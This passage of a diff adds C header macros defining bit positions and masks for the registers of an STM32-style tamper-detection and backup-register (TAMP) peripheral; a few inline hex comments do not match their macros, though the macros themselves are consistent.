TAMP_SECCFGR_BKPRWSEC_6 (0x40UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000040 */ +#define TAMP_SECCFGR_BKPRWSEC_7 (0x80UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000080 */ +#define TAMP_SECCFGR_CNT1SEC_Pos (15UL) +#define TAMP_SECCFGR_CNT1SEC_Msk (0x1UL << TAMP_SECCFGR_CNT1SEC_Pos) /*!< 0x00008000 */ +#define TAMP_SECCFGR_CNT1SEC TAMP_SECCFGR_CNT1SEC_Msk +#define TAMP_SECCFGR_BKPWSEC_Pos (16UL) +#define TAMP_SECCFGR_BKPWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00FF0000 */ +#define TAMP_SECCFGR_BKPWSEC TAMP_SECCFGR_BKPWSEC_Msk +#define TAMP_SECCFGR_BKPWSEC_0 (0x1UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00010000 */ +#define TAMP_SECCFGR_BKPWSEC_1 (0x2UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00020000 */ +#define TAMP_SECCFGR_BKPWSEC_2 (0x4UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00040000 */ +#define TAMP_SECCFGR_BKPWSEC_3 (0x8UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00080000 */ +#define TAMP_SECCFGR_BKPWSEC_4 (0x10UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00100000 */ +#define TAMP_SECCFGR_BKPWSEC_5 (0x20UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00200000 */ +#define TAMP_SECCFGR_BKPWSEC_6 (0x40UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00400000 */ +#define TAMP_SECCFGR_BKPWSEC_7 (0x80UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00800000 */ +#define TAMP_SECCFGR_BHKLOCK_Pos (30UL) +#define TAMP_SECCFGR_BHKLOCK_Msk (0x1UL << TAMP_SECCFGR_BHKLOCK_Pos) /*!< 0x40000000 */ +#define TAMP_SECCFGR_BHKLOCK TAMP_SECCFGR_BHKLOCK_Msk +#define TAMP_SECCFGR_TAMPSEC_Pos (31UL) +#define TAMP_SECCFGR_TAMPSEC_Msk (0x1UL << TAMP_SECCFGR_TAMPSEC_Pos) /*!< 0x80000000 */ +#define TAMP_SECCFGR_TAMPSEC TAMP_SECCFGR_TAMPSEC_Msk + +/******************** Bits definition for TAMP_PRIVCFGR register ************/ +#define TAMP_PRIVCFGR_CNT1PRIV_Pos (15UL) +#define TAMP_PRIVCFGR_CNT1PRIV_Msk (0x1UL << TAMP_PRIVCFGR_CNT1PRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_CNT1PRIV TAMP_PRIVCFGR_CNT1PRIV_Msk +#define TAMP_PRIVCFGR_BKPRWPRIV_Pos (29UL) +#define TAMP_PRIVCFGR_BKPRWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPRWPRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_BKPRWPRIV TAMP_PRIVCFGR_BKPRWPRIV_Msk +#define TAMP_PRIVCFGR_BKPWPRIV_Pos (30UL) +#define TAMP_PRIVCFGR_BKPWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPWPRIV_Pos) /*!< 0x40000000 */ +#define TAMP_PRIVCFGR_BKPWPRIV TAMP_PRIVCFGR_BKPWPRIV_Msk +#define TAMP_PRIVCFGR_TAMPPRIV_Pos (31UL) +#define TAMP_PRIVCFGR_TAMPPRIV_Msk (0x1UL << TAMP_PRIVCFGR_TAMPPRIV_Pos) /*!< 0x80000000 */ +#define TAMP_PRIVCFGR_TAMPPRIV TAMP_PRIVCFGR_TAMPPRIV_Msk + +/******************** Bits definition for TAMP_IER register *****************/ +#define TAMP_IER_TAMP1IE_Pos (0UL) +#define TAMP_IER_TAMP1IE_Msk (0x1UL << TAMP_IER_TAMP1IE_Pos) /*!< 0x00000001 */ +#define TAMP_IER_TAMP1IE TAMP_IER_TAMP1IE_Msk +#define TAMP_IER_TAMP2IE_Pos (1UL) +#define TAMP_IER_TAMP2IE_Msk (0x1UL << TAMP_IER_TAMP2IE_Pos) /*!< 0x00000002 */ +#define TAMP_IER_TAMP2IE TAMP_IER_TAMP2IE_Msk +#define TAMP_IER_TAMP3IE_Pos (2UL) +#define TAMP_IER_TAMP3IE_Msk (0x1UL << TAMP_IER_TAMP3IE_Pos) /*!< 0x00000004 */ +#define TAMP_IER_TAMP3IE TAMP_IER_TAMP3IE_Msk +#define TAMP_IER_TAMP4IE_Pos (3UL) +#define TAMP_IER_TAMP4IE_Msk (0x1UL << TAMP_IER_TAMP4IE_Pos) /*!< 0x00000008 */ +#define TAMP_IER_TAMP4IE TAMP_IER_TAMP4IE_Msk +#define TAMP_IER_TAMP5IE_Pos (4UL) +#define TAMP_IER_TAMP5IE_Msk (0x1UL << TAMP_IER_TAMP5IE_Pos) /*!< 0x00000010 */ +#define TAMP_IER_TAMP5IE TAMP_IER_TAMP5IE_Msk +#define TAMP_IER_TAMP6IE_Pos (5UL) +#define TAMP_IER_TAMP6IE_Msk (0x1UL << TAMP_IER_TAMP6IE_Pos) /*!< 0x00000020 */ +#define TAMP_IER_TAMP6IE TAMP_IER_TAMP6IE_Msk +#define TAMP_IER_TAMP7IE_Pos (6UL) +#define TAMP_IER_TAMP7IE_Msk (0x1UL << TAMP_IER_TAMP7IE_Pos) /*!< 0x00000040 */ +#define TAMP_IER_TAMP7IE TAMP_IER_TAMP7IE_Msk +#define TAMP_IER_TAMP8IE_Pos (7UL) +#define TAMP_IER_TAMP8IE_Msk (0x1UL << TAMP_IER_TAMP8IE_Pos) /*!< 0x00000080 */ +#define TAMP_IER_TAMP8IE TAMP_IER_TAMP8IE_Msk +#define TAMP_IER_ITAMP1IE_Pos (16UL) +#define TAMP_IER_ITAMP1IE_Msk (0x1UL << TAMP_IER_ITAMP1IE_Pos) /*!< 0x00010000 */ +#define TAMP_IER_ITAMP1IE TAMP_IER_ITAMP1IE_Msk +#define TAMP_IER_ITAMP2IE_Pos (17UL) +#define TAMP_IER_ITAMP2IE_Msk (0x1UL << TAMP_IER_ITAMP2IE_Pos) /*!< 0x00020000 */ +#define TAMP_IER_ITAMP2IE TAMP_IER_ITAMP2IE_Msk +#define TAMP_IER_ITAMP3IE_Pos (18UL) +#define TAMP_IER_ITAMP3IE_Msk (0x1UL << TAMP_IER_ITAMP3IE_Pos) /*!< 0x00040000 */ +#define TAMP_IER_ITAMP3IE TAMP_IER_ITAMP3IE_Msk +#define TAMP_IER_ITAMP5IE_Pos (20UL) +#define TAMP_IER_ITAMP5IE_Msk (0x1UL << TAMP_IER_ITAMP5IE_Pos) /*!< 0x00100000 */ +#define TAMP_IER_ITAMP5IE TAMP_IER_ITAMP5IE_Msk +#define TAMP_IER_ITAMP6IE_Pos (21UL) +#define TAMP_IER_ITAMP6IE_Msk (0x1UL << TAMP_IER_ITAMP6IE_Pos) /*!< 0x00200000 */ +#define TAMP_IER_ITAMP6IE TAMP_IER_ITAMP6IE_Msk +#define TAMP_IER_ITAMP7IE_Pos (22UL) +#define TAMP_IER_ITAMP7IE_Msk (0x1UL << TAMP_IER_ITAMP7IE_Pos) /*!< 0x00400000 */ +#define TAMP_IER_ITAMP7IE TAMP_IER_ITAMP7IE_Msk +#define TAMP_IER_ITAMP8IE_Pos (23UL) +#define TAMP_IER_ITAMP8IE_Msk (0x1UL << TAMP_IER_ITAMP8IE_Pos) /*!< 0x00800000 */ +#define TAMP_IER_ITAMP8IE TAMP_IER_ITAMP8IE_Msk +#define TAMP_IER_ITAMP9IE_Pos (24UL) +#define TAMP_IER_ITAMP9IE_Msk (0x1UL << TAMP_IER_ITAMP9IE_Pos) /*!< 0x01000000 */ +#define TAMP_IER_ITAMP9IE TAMP_IER_ITAMP9IE_Msk +#define TAMP_IER_ITAMP11IE_Pos (26UL) +#define TAMP_IER_ITAMP11IE_Msk (0x1UL << TAMP_IER_ITAMP11IE_Pos) /*!< 0x04000000 */ +#define TAMP_IER_ITAMP11IE TAMP_IER_ITAMP11IE_Msk +#define TAMP_IER_ITAMP12IE_Pos (27UL) +#define TAMP_IER_ITAMP12IE_Msk (0x1UL << TAMP_IER_ITAMP12IE_Pos) /*!< 0x08000000 */ +#define TAMP_IER_ITAMP12IE TAMP_IER_ITAMP12IE_Msk +#define TAMP_IER_ITAMP13IE_Pos (28UL) +#define TAMP_IER_ITAMP13IE_Msk (0x1UL << TAMP_IER_ITAMP13IE_Pos) /*!< 0x10000000 */ +#define TAMP_IER_ITAMP13IE TAMP_IER_ITAMP13IE_Msk + +/******************** Bits definition for TAMP_SR register *****************/ +#define TAMP_SR_TAMP1F_Pos (0UL) +#define TAMP_SR_TAMP1F_Msk (0x1UL << TAMP_SR_TAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SR_TAMP1F TAMP_SR_TAMP1F_Msk +#define TAMP_SR_TAMP2F_Pos (1UL) +#define TAMP_SR_TAMP2F_Msk (0x1UL << TAMP_SR_TAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SR_TAMP2F TAMP_SR_TAMP2F_Msk +#define TAMP_SR_TAMP3F_Pos (2UL) +#define TAMP_SR_TAMP3F_Msk (0x1UL << TAMP_SR_TAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SR_TAMP3F TAMP_SR_TAMP3F_Msk +#define TAMP_SR_TAMP4F_Pos (3UL) +#define TAMP_SR_TAMP4F_Msk (0x1UL << TAMP_SR_TAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SR_TAMP4F TAMP_SR_TAMP4F_Msk +#define TAMP_SR_TAMP5F_Pos (4UL) +#define TAMP_SR_TAMP5F_Msk (0x1UL << TAMP_SR_TAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SR_TAMP5F TAMP_SR_TAMP5F_Msk +#define TAMP_SR_TAMP6F_Pos (5UL) +#define TAMP_SR_TAMP6F_Msk (0x1UL << TAMP_SR_TAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SR_TAMP6F TAMP_SR_TAMP6F_Msk +#define TAMP_SR_TAMP7F_Pos (6UL) +#define TAMP_SR_TAMP7F_Msk (0x1UL << TAMP_SR_TAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SR_TAMP7F TAMP_SR_TAMP7F_Msk +#define TAMP_SR_TAMP8F_Pos (7UL) +#define TAMP_SR_TAMP8F_Msk (0x1UL << TAMP_SR_TAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SR_TAMP8F TAMP_SR_TAMP8F_Msk +#define TAMP_SR_ITAMP1F_Pos (16UL) +#define TAMP_SR_ITAMP1F_Msk (0x1UL << TAMP_SR_ITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP1F TAMP_SR_ITAMP1F_Msk +#define TAMP_SR_ITAMP2F_Pos (17UL) +#define TAMP_SR_ITAMP2F_Msk (0x1UL << TAMP_SR_ITAMP2F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP2F TAMP_SR_ITAMP2F_Msk +#define TAMP_SR_ITAMP3F_Pos (18UL) +#define TAMP_SR_ITAMP3F_Msk (0x1UL << TAMP_SR_ITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SR_ITAMP3F TAMP_SR_ITAMP3F_Msk +#define TAMP_SR_ITAMP5F_Pos (20UL) +#define TAMP_SR_ITAMP5F_Msk (0x1UL << TAMP_SR_ITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SR_ITAMP5F TAMP_SR_ITAMP5F_Msk +#define TAMP_SR_ITAMP6F_Pos (21UL) +#define TAMP_SR_ITAMP6F_Msk (0x1UL << TAMP_SR_ITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SR_ITAMP6F TAMP_SR_ITAMP6F_Msk +#define TAMP_SR_ITAMP7F_Pos (22UL) +#define TAMP_SR_ITAMP7F_Msk (0x1UL << TAMP_SR_ITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SR_ITAMP7F TAMP_SR_ITAMP7F_Msk +#define TAMP_SR_ITAMP8F_Pos (23UL) +#define TAMP_SR_ITAMP8F_Msk (0x1UL << TAMP_SR_ITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SR_ITAMP8F TAMP_SR_ITAMP8F_Msk +#define TAMP_SR_ITAMP9F_Pos (24UL) +#define TAMP_SR_ITAMP9F_Msk (0x1UL << TAMP_SR_ITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SR_ITAMP9F TAMP_SR_ITAMP9F_Msk +#define TAMP_SR_ITAMP11F_Pos (26UL) +#define TAMP_SR_ITAMP11F_Msk (0x1UL << TAMP_SR_ITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SR_ITAMP11F TAMP_SR_ITAMP11F_Msk +#define TAMP_SR_ITAMP12F_Pos (27UL) +#define TAMP_SR_ITAMP12F_Msk (0x1UL << TAMP_SR_ITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SR_ITAMP12F TAMP_SR_ITAMP12F_Msk +#define TAMP_SR_ITAMP13F_Pos (28UL) +#define TAMP_SR_ITAMP13F_Msk (0x1UL << TAMP_SR_ITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SR_ITAMP13F TAMP_SR_ITAMP13F_Msk + +/******************** Bits definition for TAMP_MISR register ****************/ +#define TAMP_MISR_TAMP1MF_Pos (0UL) +#define TAMP_MISR_TAMP1MF_Msk (0x1UL << TAMP_MISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_MISR_TAMP1MF TAMP_MISR_TAMP1MF_Msk +#define TAMP_MISR_TAMP2MF_Pos (1UL) +#define TAMP_MISR_TAMP2MF_Msk (0x1UL << TAMP_MISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_MISR_TAMP2MF TAMP_MISR_TAMP2MF_Msk +#define TAMP_MISR_TAMP3MF_Pos (2UL) +#define TAMP_MISR_TAMP3MF_Msk (0x1UL << TAMP_MISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_MISR_TAMP3MF TAMP_MISR_TAMP3MF_Msk +#define TAMP_MISR_TAMP4MF_Pos (3UL) +#define TAMP_MISR_TAMP4MF_Msk (0x1UL << TAMP_MISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_MISR_TAMP4MF TAMP_MISR_TAMP4MF_Msk +#define TAMP_MISR_TAMP5MF_Pos (4UL) +#define TAMP_MISR_TAMP5MF_Msk (0x1UL << TAMP_MISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_MISR_TAMP5MF TAMP_MISR_TAMP5MF_Msk +#define TAMP_MISR_TAMP6MF_Pos (5UL) +#define TAMP_MISR_TAMP6MF_Msk (0x1UL << TAMP_MISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_MISR_TAMP6MF TAMP_MISR_TAMP6MF_Msk +#define TAMP_MISR_TAMP7MF_Pos (6UL) +#define TAMP_MISR_TAMP7MF_Msk (0x1UL << TAMP_MISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_MISR_TAMP7MF TAMP_MISR_TAMP7MF_Msk +#define TAMP_MISR_TAMP8MF_Pos (7UL) +#define TAMP_MISR_TAMP8MF_Msk (0x1UL << TAMP_MISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_MISR_TAMP8MF TAMP_MISR_TAMP8MF_Msk +#define TAMP_MISR_ITAMP1MF_Pos (16UL) +#define TAMP_MISR_ITAMP1MF_Msk (0x1UL << TAMP_MISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP1MF TAMP_MISR_ITAMP1MF_Msk +#define TAMP_MISR_ITAMP2MF_Pos (17UL) +#define TAMP_MISR_ITAMP2MF_Msk (0x1UL << TAMP_MISR_ITAMP2MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP2MF TAMP_MISR_ITAMP2MF_Msk +#define TAMP_MISR_ITAMP3MF_Pos (18UL) +#define TAMP_MISR_ITAMP3MF_Msk (0x1UL << TAMP_MISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_MISR_ITAMP3MF TAMP_MISR_ITAMP3MF_Msk +#define TAMP_MISR_ITAMP5MF_Pos (20UL) +#define TAMP_MISR_ITAMP5MF_Msk (0x1UL << TAMP_MISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_MISR_ITAMP5MF TAMP_MISR_ITAMP5MF_Msk +#define TAMP_MISR_ITAMP6MF_Pos (21UL) +#define TAMP_MISR_ITAMP6MF_Msk (0x1UL << TAMP_MISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_MISR_ITAMP6MF TAMP_MISR_ITAMP6MF_Msk +#define TAMP_MISR_ITAMP7MF_Pos (22UL) +#define TAMP_MISR_ITAMP7MF_Msk (0x1UL << TAMP_MISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_MISR_ITAMP7MF TAMP_MISR_ITAMP7MF_Msk +#define TAMP_MISR_ITAMP8MF_Pos (23UL) +#define TAMP_MISR_ITAMP8MF_Msk (0x1UL << TAMP_MISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_MISR_ITAMP8MF TAMP_MISR_ITAMP8MF_Msk +#define TAMP_MISR_ITAMP9MF_Pos (24UL) +#define TAMP_MISR_ITAMP9MF_Msk (0x1UL << TAMP_MISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_MISR_ITAMP9MF TAMP_MISR_ITAMP9MF_Msk +#define TAMP_MISR_ITAMP11MF_Pos (26UL) +#define TAMP_MISR_ITAMP11MF_Msk (0x1UL << TAMP_MISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_MISR_ITAMP11MF TAMP_MISR_ITAMP11MF_Msk +#define TAMP_MISR_ITAMP12MF_Pos (27UL) +#define TAMP_MISR_ITAMP12MF_Msk (0x1UL << TAMP_MISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_MISR_ITAMP12MF TAMP_MISR_ITAMP12MF_Msk +#define TAMP_MISR_ITAMP13MF_Pos (28UL) +#define TAMP_MISR_ITAMP13MF_Msk (0x1UL << TAMP_MISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_MISR_ITAMP13MF TAMP_MISR_ITAMP13MF_Msk + +/******************** Bits definition for TAMP_SMISR register ************ *****/ +#define TAMP_SMISR_TAMP1MF_Pos (0UL) +#define TAMP_SMISR_TAMP1MF_Msk (0x1UL << TAMP_SMISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_SMISR_TAMP1MF TAMP_SMISR_TAMP1MF_Msk +#define TAMP_SMISR_TAMP2MF_Pos (1UL) +#define TAMP_SMISR_TAMP2MF_Msk (0x1UL << TAMP_SMISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_SMISR_TAMP2MF TAMP_SMISR_TAMP2MF_Msk +#define TAMP_SMISR_TAMP3MF_Pos (2UL) +#define TAMP_SMISR_TAMP3MF_Msk (0x1UL << TAMP_SMISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_SMISR_TAMP3MF TAMP_SMISR_TAMP3MF_Msk +#define TAMP_SMISR_TAMP4MF_Pos (3UL) +#define TAMP_SMISR_TAMP4MF_Msk (0x1UL << TAMP_SMISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_SMISR_TAMP4MF TAMP_SMISR_TAMP4MF_Msk +#define TAMP_SMISR_TAMP5MF_Pos (4UL) +#define TAMP_SMISR_TAMP5MF_Msk (0x1UL << TAMP_SMISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_SMISR_TAMP5MF TAMP_SMISR_TAMP5MF_Msk +#define TAMP_SMISR_TAMP6MF_Pos (5UL) +#define TAMP_SMISR_TAMP6MF_Msk (0x1UL << TAMP_SMISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_SMISR_TAMP6MF TAMP_SMISR_TAMP6MF_Msk +#define TAMP_SMISR_TAMP7MF_Pos (6UL) +#define TAMP_SMISR_TAMP7MF_Msk (0x1UL << TAMP_SMISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_SMISR_TAMP7MF TAMP_SMISR_TAMP7MF_Msk +#define TAMP_SMISR_TAMP8MF_Pos (7UL) +#define TAMP_SMISR_TAMP8MF_Msk (0x1UL << TAMP_SMISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_SMISR_TAMP8MF TAMP_SMISR_TAMP8MF_Msk +#define TAMP_SMISR_ITAMP1MF_Pos (16UL) +#define TAMP_SMISR_ITAMP1MF_Msk (0x1UL << TAMP_SMISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP1MF TAMP_SMISR_ITAMP1MF_Msk +#define TAMP_SMISR_ITAMP2MF_Pos (17UL) +#define TAMP_SMISR_ITAMP2MF_Msk (0x1UL << TAMP_SMISR_ITAMP2MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP2MF TAMP_SMISR_ITAMP2MF_Msk +#define TAMP_SMISR_ITAMP3MF_Pos (18UL) +#define TAMP_SMISR_ITAMP3MF_Msk (0x1UL << TAMP_SMISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_SMISR_ITAMP3MF TAMP_SMISR_ITAMP3MF_Msk +#define TAMP_SMISR_ITAMP5MF_Pos (20UL) +#define TAMP_SMISR_ITAMP5MF_Msk (0x1UL << TAMP_SMISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_SMISR_ITAMP5MF TAMP_SMISR_ITAMP5MF_Msk +#define TAMP_SMISR_ITAMP6MF_Pos (21UL) +#define TAMP_SMISR_ITAMP6MF_Msk (0x1UL << TAMP_SMISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_SMISR_ITAMP6MF TAMP_SMISR_ITAMP6MF_Msk +#define TAMP_SMISR_ITAMP7MF_Pos (22UL) +#define TAMP_SMISR_ITAMP7MF_Msk (0x1UL << TAMP_SMISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_SMISR_ITAMP7MF TAMP_SMISR_ITAMP7MF_Msk +#define TAMP_SMISR_ITAMP8MF_Pos (23UL) +#define TAMP_SMISR_ITAMP8MF_Msk (0x1UL << TAMP_SMISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_SMISR_ITAMP8MF TAMP_SMISR_ITAMP8MF_Msk +#define TAMP_SMISR_ITAMP9MF_Pos (24UL) +#define TAMP_SMISR_ITAMP9MF_Msk (0x1UL << TAMP_SMISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_SMISR_ITAMP9MF TAMP_SMISR_ITAMP9MF_Msk +#define TAMP_SMISR_ITAMP11MF_Pos (26UL) +#define TAMP_SMISR_ITAMP11MF_Msk (0x1UL << TAMP_SMISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_SMISR_ITAMP11MF TAMP_SMISR_ITAMP11MF_Msk +#define TAMP_SMISR_ITAMP12MF_Pos (27UL) +#define TAMP_SMISR_ITAMP12MF_Msk (0x1UL << TAMP_SMISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_SMISR_ITAMP12MF TAMP_SMISR_ITAMP12MF_Msk +#define TAMP_SMISR_ITAMP13MF_Pos (28UL) +#define TAMP_SMISR_ITAMP13MF_Msk (0x1UL << TAMP_SMISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_SMISR_ITAMP13MF TAMP_SMISR_ITAMP13MF_Msk + +/******************** Bits definition for TAMP_SCR register *****************/ +#define TAMP_SCR_CTAMP1F_Pos (0UL) +#define TAMP_SCR_CTAMP1F_Msk (0x1UL << TAMP_SCR_CTAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SCR_CTAMP1F TAMP_SCR_CTAMP1F_Msk +#define TAMP_SCR_CTAMP2F_Pos (1UL) +#define TAMP_SCR_CTAMP2F_Msk (0x1UL << TAMP_SCR_CTAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SCR_CTAMP2F TAMP_SCR_CTAMP2F_Msk +#define TAMP_SCR_CTAMP3F_Pos (2UL) +#define TAMP_SCR_CTAMP3F_Msk (0x1UL << TAMP_SCR_CTAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SCR_CTAMP3F TAMP_SCR_CTAMP3F_Msk +#define TAMP_SCR_CTAMP4F_Pos (3UL) +#define TAMP_SCR_CTAMP4F_Msk (0x1UL << TAMP_SCR_CTAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SCR_CTAMP4F TAMP_SCR_CTAMP4F_Msk +#define TAMP_SCR_CTAMP5F_Pos (4UL) +#define TAMP_SCR_CTAMP5F_Msk (0x1UL << TAMP_SCR_CTAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SCR_CTAMP5F TAMP_SCR_CTAMP5F_Msk +#define TAMP_SCR_CTAMP6F_Pos (5UL) +#define TAMP_SCR_CTAMP6F_Msk (0x1UL << TAMP_SCR_CTAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SCR_CTAMP6F TAMP_SCR_CTAMP6F_Msk +#define TAMP_SCR_CTAMP7F_Pos (6UL) +#define TAMP_SCR_CTAMP7F_Msk (0x1UL << TAMP_SCR_CTAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SCR_CTAMP7F TAMP_SCR_CTAMP7F_Msk +#define TAMP_SCR_CTAMP8F_Pos (7UL) +#define TAMP_SCR_CTAMP8F_Msk (0x1UL << TAMP_SCR_CTAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SCR_CTAMP8F TAMP_SCR_CTAMP8F_Msk +#define TAMP_SCR_CITAMP1F_Pos (16UL) +#define TAMP_SCR_CITAMP1F_Msk (0x1UL << TAMP_SCR_CITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP1F TAMP_SCR_CITAMP1F_Msk +#define TAMP_SCR_CITAMP2F_Pos (17UL) +#define TAMP_SCR_CITAMP2F_Msk (0x1UL << TAMP_SCR_CITAMP2F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP2F TAMP_SCR_CITAMP2F_Msk +#define TAMP_SCR_CITAMP3F_Pos (18UL) +#define TAMP_SCR_CITAMP3F_Msk (0x1UL << TAMP_SCR_CITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SCR_CITAMP3F TAMP_SCR_CITAMP3F_Msk +#define TAMP_SCR_CITAMP5F_Pos (20UL) +#define TAMP_SCR_CITAMP5F_Msk (0x1UL << TAMP_SCR_CITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SCR_CITAMP5F TAMP_SCR_CITAMP5F_Msk +#define TAMP_SCR_CITAMP6F_Pos (21UL) +#define TAMP_SCR_CITAMP6F_Msk (0x1UL << TAMP_SCR_CITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SCR_CITAMP6F TAMP_SCR_CITAMP6F_Msk +#define TAMP_SCR_CITAMP7F_Pos (22UL) +#define TAMP_SCR_CITAMP7F_Msk (0x1UL << TAMP_SCR_CITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SCR_CITAMP7F TAMP_SCR_CITAMP7F_Msk +#define TAMP_SCR_CITAMP8F_Pos (23UL) +#define TAMP_SCR_CITAMP8F_Msk (0x1UL << TAMP_SCR_CITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SCR_CITAMP8F TAMP_SCR_CITAMP8F_Msk +#define TAMP_SCR_CITAMP9F_Pos (24UL) +#define TAMP_SCR_CITAMP9F_Msk (0x1UL << TAMP_SCR_CITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SCR_CITAMP9F TAMP_SCR_CITAMP9F_Msk +#define TAMP_SCR_CITAMP11F_Pos (26UL) +#define TAMP_SCR_CITAMP11F_Msk (0x1UL << TAMP_SCR_CITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SCR_CITAMP11F TAMP_SCR_CITAMP11F_Msk +#define TAMP_SCR_CITAMP12F_Pos (27UL) +#define TAMP_SCR_CITAMP12F_Msk (0x1UL << TAMP_SCR_CITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SCR_CITAMP12F TAMP_SCR_CITAMP12F_Msk +#define TAMP_SCR_CITAMP13F_Pos (28UL) +#define TAMP_SCR_CITAMP13F_Msk (0x1UL << TAMP_SCR_CITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SCR_CITAMP13F TAMP_SCR_CITAMP13F_Msk + +/******************** Bits definition for TAMP_COUNTR register ***************/ +#define TAMP_COUNTR_Pos (16UL) +#define TAMP_COUNTR_Msk (0xFFFFUL << TAMP_COUNTR_Pos) /*!< 0xFFFF0000 */ +#define TAMP_COUNTR TAMP_COUNTR_Msk + +/******************** Bits definition for TAMP_ERCFGR register ***************/ +#define TAMP_ERCFGR0_Pos (0UL) +#define TAMP_ERCFGR0_Msk (0x1UL << TAMP_ERCFGR0_Pos) /*!< 0x00000001 */ +#define TAMP_ERCFGR0 TAMP_ERCFGR0_Msk + +/******************** Bits definition for TAMP_BKP0R register ***************/ +#define TAMP_BKP0R_Pos (0UL) +#define TAMP_BKP0R_Msk (0xFFFFFFFFUL << TAMP_BKP0R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP0R TAMP_BKP0R_Msk + +/******************** Bits definition for 